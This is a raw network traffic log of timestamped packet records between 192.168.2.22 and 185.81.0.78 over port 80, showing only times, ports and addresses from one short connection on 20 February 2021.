Feb 20, 2021 02:03:51.088558912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088582039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088613033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088623047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088630915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088634968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088660955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088676929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088684082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088709116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088747025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088751078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088753939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088773966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088813066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088840961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088843107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088876009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088900089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088906050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088932991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088943958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088963032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.088964939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.088992119 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089015007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089023113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089030027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089056969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089091063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089139938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089164019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089188099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089210033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089222908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089236975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089243889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089248896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089271069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089281082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089313984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089320898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089368105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089421034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089437962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089445114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089471102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089477062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089499950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089529991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089553118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089575052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089611053 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089638948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089643955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089667082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089700937 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089730978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089745998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089806080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089812994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089838982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089870930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089888096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089898109 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089914083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089950085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089968920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.089982986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.089993000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090014935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090014935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090037107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090045929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090075016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090082884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090085983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090112925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090148926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090153933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090179920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090182066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090204000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090209007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090225935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090239048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090264082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090270042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090287924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090290070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090311050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090322971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090359926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090373993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090382099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090404987 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090429068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090460062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090471983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090483904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090498924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090506077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090529919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090533972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090564013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090593100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.090944052 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090970039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.090987921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091027021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091031075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091047049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091053963 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091080904 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091082096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091094017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091121912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091126919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091145039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091145992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091167927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091181993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091191053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091197014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091213942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091223001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091238022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091258049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091262102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091264963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091289043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091298103 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091300964 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091311932 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091341972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091345072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091356993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091366053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091392040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091401100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091414928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091434956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091439962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091444969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091461897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091483116 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091509104 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091520071 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091526031 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091527939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091547012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091564894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091583014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091620922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091645002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091670990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091681957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091689110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091691971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091696978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091700077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091711998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091718912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091732025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091753960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091757059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091768980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091773033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091778040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091800928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091813087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091834068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091845036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091849089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091857910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091883898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091902018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091912031 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091939926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091959000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.091968060 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.091996908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092020988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092037916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092047930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092061043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092083931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092098951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092128038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092140913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092149973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092150927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092174053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092183113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092196941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092216969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092220068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092242002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092248917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092252970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092268944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092286110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092293024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092295885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092327118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092354059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092381954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092406034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092443943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092473030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092485905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092549086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092569113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092596054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092631102 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092633009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092654943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092663050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092677116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092694998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092700958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092703104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092739105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092751026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092775106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092830896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092835903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092850924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092873096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092909098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092919111 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092928886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092933893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092933893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092971087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.092998028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.092998981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093034029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093055964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093076944 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093081951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093105078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093128920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093137980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093174934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093182087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093199968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093224049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093257904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093259096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093281984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093291044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093305111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093319893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093327999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093331099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093363047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093410969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093436003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093458891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093497992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093512058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093601942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093662977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093684912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093708992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093744993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093760014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093771935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093807936 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093822956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093866110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093868017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093888998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093916893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093925953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093955994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.093956947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093966961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.093977928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094003916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094029903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094031096 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094043016 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094079971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094084978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094099045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094136000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094170094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094192028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094233990 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094244957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094268084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094269991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094294071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094305992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094347954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094360113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094362974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094387054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094420910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094430923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094444990 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094465971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094480991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094487906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094513893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094518900 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094552994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094574928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094588041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094599009 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094619989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094645023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094649076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094659090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094690084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094700098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094716072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094717026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094738960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094750881 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094763041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094790936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094801903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094805002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094825983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094841003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094849110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094871998 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.094883919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094901085 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094933033 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.094947100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095067978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095120907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095141888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095144033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.095176935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.095182896 CET	80	49165	185.81.0.78	192.168.2.22
